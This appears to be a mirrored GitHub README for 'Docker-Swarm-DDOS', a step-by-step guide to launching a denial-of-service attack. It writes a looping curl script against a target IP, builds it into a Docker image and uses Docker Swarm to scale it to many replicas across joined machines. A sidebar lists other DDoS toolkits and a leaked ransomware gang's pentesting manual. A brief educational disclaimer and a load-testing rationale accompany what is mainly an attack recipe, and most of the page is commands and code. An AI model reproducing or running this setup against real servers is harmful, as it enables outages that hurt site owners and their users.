All Projects → Aregluss → Docker-Swarm-DDOS

Aregluss / Docker-Swarm-DDOS

Licence: other
How to create a Denial of Service Attack through Docker Swarm.

Projects that are alternatives of or similar to Docker-Swarm-DDOS

awesome-ddos-tools
Collection of several DDos tools.
Stars: ✭ 75 (+108.33%)
Mutual labels:  dos, ddos-attacks, ddos-attack-tools
Raven-Storm
Raven-Storm is a powerful DDoS toolkit for penetration tests, including attacks for several protocols written in python. Takedown many connections using several exotic and classic protocols.
Stars: ✭ 235 (+552.78%)
Mutual labels:  dos, ddos-attacks, ddos-attack-tools
DDos-Attack-OVH-
Powerful DDoS Attack
Stars: ✭ 155 (+330.56%)
Mutual labels:  dos, ddos-attacks, ddos-attack-tools
Build Djgpp
Build DJGPP cross compiler and binutils on Windows (MinGW/Cygwin), Mac OSX and Linux
Stars: ✭ 143 (+297.22%)
Mutual labels:  dos
Sharp
An anti-ARP-spoofing application software that use active and passive scanning methods to detect and remove any ARP-spoofer from the network.
Stars: ✭ 150 (+316.67%)
Mutual labels:  dos
anti-ddos-lite
Anti-DDoS-Lite (Anti-Crawler app) is a small PHP app to protect your site against DDoS attack.
Stars: ✭ 96 (+166.67%)
Mutual labels:  ddos-attacks
guide.encode.moe
A guide for fansubbing
Stars: ✭ 123 (+241.67%)
Mutual labels:  guide
Awesome Dos
Curated list of references for development of DOS applications.
Stars: ✭ 123 (+241.67%)
Mutual labels:  dos
Burn-Byte
Burn Byte is a modern and powerful DDOS Toolkit
Stars: ✭ 37 (+2.78%)
Mutual labels:  dos
Huge Collection Of Cheatsheet
Share of my Huge Collection of Cheatsheet (Coding, Cheat, Pinouts, Command Lists, Etc.)
Stars: ✭ 250 (+594.44%)
Mutual labels:  dos
Dojs
A DOS JavaScript Canvas with sound
Stars: ✭ 237 (+558.33%)
Mutual labels:  dos
Div Games Studio
Complete cross platform games development package, originally for DOS but now available on modern platforms.
Stars: ✭ 168 (+366.67%)
Mutual labels:  dos
pyddos
DDOS python script
Stars: ✭ 266 (+638.89%)
Mutual labels:  ddos-attacks
Commander Genius
Modern Interpreter for the Commander Keen Games (Vorticon and Galaxy Games). There is also a gitlab repository: https://gitlab.com/Dringgstein/Commander-Genius
Stars: ✭ 144 (+300%)
Mutual labels:  dos
Labs
Container Orchestration Labs
Stars: ✭ 14 (-61.11%)
Mutual labels:  docker-swarm
Bootmine
Bootable minesweeper game in a 512-byte boot sector
Stars: ✭ 136 (+277.78%)
Mutual labels:  dos
openui5-tour
OpenUI5 Tour enables an user-friendly way to showcase products and features in your website.
Stars: ✭ 21 (-41.67%)
Mutual labels:  guide
Hackers Tool Kit
Its a framework filled with alot of options and hacking tools you use directly in the script from brute forcing to payload making im still adding more stuff i now have another tool out called htkl-lite its hackers-tool-kit just not as big and messy to see updates check on my instagram @tuf_unkn0wn or if there are any problems message me on instagram
Stars: ✭ 211 (+486.11%)
Mutual labels:  dos
TheJobInterviewGuide
A job guide to help developers get through interviews and get amazing jobs!
Stars: ✭ 267 (+641.67%)
Mutual labels:  guide
conti-pentester-guide-leak
Leaked pentesting manuals given to Conti ransomware crooks
Stars: ✭ 772 (+2044.44%)
Mutual labels:  guide

Docker-Swarm-DDOS

How to create a Denial of Service Attack through Docker Swarm.

Quick Disclaimer: This information is for educational purposes only and should not be used with malicious intent. Also, the following guide has been tested only for Mac and Ubuntu, minor differences might exist on other OS.

This repository will help you to create a DDOS attack on a server. This could be useful if working on a project and trying to test out what will happen if there is some traffic, heavy traffic or a full fleshed DDOS attack.

List of Tasks

  • Installing Docker
  • Creating the Script
  • Setting up Dockerfile
  • Creating a Custom Docker Image
  • Setting up Docker Swarm
  • Creating and Scaling a Service
  • Aditional Notes and Tips

I'd recommend that before you get started with the individual steps, you first skim the entire guide.

Installing Docker

If you have this part already simply move on to the next section, otherwise here is a link that to get you started.

Please install the proper version for your OS and then return back to this guide. 👍

https://www.docker.com/community-edition

  • Installing Docker

Creating the Script

Now that we have Docker installed and running let's get started with creating a directory. It doesn't matter where this directory is, but to keep in simple for now I'll go with this

$ mkdir $HOME/DockerAttack
$ cd $HOME/DockerAttack

Following is done through iTerm or a Terminal. I personally use vim for this, but anyway would really do.

$ vim curlAttack.sh

There's not much to the script, in fact, it's a simple looping curl, it looks something like this

#!/bin/bash
while true
do
#Please use 'man curl' to see what -vk is for, also -X command can be useful too.
curl -vk https:://<ip>
#sleep 5
done
exit 0

I'd actually recommend to first write a curl command that works for your server in a terminal, then to copy paste it into the script.

At this point, you could test it out by adding execution permission and then running it.

$ chmod +x curlAttack.sh
$ ./curlAttack.sh
  • Creating the Script

Setting up Dockerfile

Without switching to different directory lets create our Dockerfile.

$ vim Dockerfile

FROM tutum/curl
ADD curlAttack.sh /usr/local/bin/curlAttack.sh
CMD ["usr/local/bin/curlAttack.sh"]

These three lines are basically pulling from a docker image that has the ability to use curl, adding our script to the image that comes from this Dockefile, then automatically running the script when a container is made.

  • Setting up Dockerfile

Creating a Custom Docker Image Through Dockerfile

Now that Dockerfile is set up properly, without switching into a different directory run the following command.

  $ docker build -t <imageName>:dockerfile .

You'll then see that it's pulling from tutum/curl first.

Check if it was successful by running

$ docker images

You should then see both tutum/curl and your own image.

  • Creating a Custom Docker Image

Setting up Docker Swarm

We can start up with docker swarm with the following command.

$ docker swarm init

If at this point you believe your computer has enough resources to make how many copied you like skip to the next step. Docker Swarm is also built in a way to distribute the workload between worker nodes. The docker swarm init command gives a join token which could be used on another device that has docker in order to have it join as a worker and share the workload.

$ docker swarm join --token <Token From Init Command>

Note that the service creating and scaling commands(below) need to be run on the manager node. (The device where the swarm was initialized).

  • Setting up Docker Swarm

Creating and Scaling a Service

So to start off here are useful commands to know, all of these start with: docker service

Command Description
create --name <serviceName> --detach=false <imageName>:dockerfile Creates a service from the custom dockerfile image.
scale <serviceName>=<#> Used to easily scale the number of copies of the service.
rm <serviceName> Ends service with the given name.
ls Lets you see running services and the number of copies that are currently up.

Here's an example that sets up the image, creates a service, scales it then ends it.

$ docker build -t <imageName>:dockerfile .  //[Only do this if you made changes to the Dockerfile]
$ docker service create --name <serviceName> --detach=false <imageName>:dockerfile
$ docker service ls   //[Can see 1/1 copy running]
$ docker service scale <serviceName>=100
$ docker service ls   //[Doing this multiple times you can see the # of copies increasing]
$ docker service rm <serviceName>

Also, you if you'll be repeating these often, I'd recommend adding these as aliases for these.

  • Creating and Scaling a Service

Aditional Notes and Tips

The following are in no particular order

  • If you chose to copy paste command from here, double check not to have missing pieces.
  • I recommend keeping both your and to lower cases only, sometimes upper case letters and spaces cause issues.
  • A creating a service doesn't work out, Cntrl-C doesn't actually stop it. Instead, the service in the background keeps trying to make containers.
    • So if you realized you had a mistake in your image and would like to delete and rebuild it, it won't let you as the service constantly tries to make containers with that image.
    • To fix most of your problems
      • First, use "docker service rm" to delete the service then wait a few seconds for last containers to be stopped.
      • Then delete the image with "docker rmi". Fix whatever mistake you had and rebuild the image & the service.
  • If you're new to docker I'd recommend reading their API, it's very clear and well written.
  • Aditional Notes and Tips

This is the end of the tutorial, hope you found it useful.

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].